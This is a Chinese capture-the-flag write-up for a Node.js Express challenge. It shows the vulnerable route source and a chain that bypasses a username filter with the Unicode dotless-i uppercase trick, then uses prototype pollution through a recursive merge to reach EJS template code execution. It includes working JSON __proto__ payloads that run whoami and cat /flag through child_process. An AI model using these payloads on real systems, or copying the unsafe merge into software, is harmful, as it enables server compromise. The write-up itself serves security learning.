原型链污染,信息收集,命令执行,代码审计
这个题我在做之前学了p神的教程
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
打开后可以发现是一个登录界面,之后我们先进行信息收集找到了www.zip这个文件,然后得到了源码
index.js
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});
router.get('/login', function (req, res) {
res.render('login');
});
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;
主代码是这个,我们发现了有action路由,可以利用,但是我们要先登录进去,发现让我们用ADMIN进行登录,但是我们没办法直接传ADMIN,随便注入一个,可以发现,他把我们的名字换成了大写,这样的话用到了JAVAscript的一个大小写特性
这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。 这个"K"的“小写”字符是k,也就是"K".toLowerCase() == 'k'.
https://www.cnblogs.com/20175211lyz/p/12659738.html
大家可以看见这篇文章,里面有有这个题用到的两个方法,同时p神也有文章在说这个
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
这样的话我们直接admın就可以进入
先注入一下发现会跳转/action
再看下代码
outputFunctionName这个是可以进行污染的,具体污染条件,可以看上面p神的文章,然后结合第二个文章的ejs污染outputFunctionName,可以尝试做一下
这样的话我们尝试抓一下/action的包
这里我们要用json进行污染,更改为json
之后直接用proto进行污染
{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //"}}
发现成功返回,通过源码可以知道从/info看回显,直接访问发现可以命令执行
直接
{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}
得到flag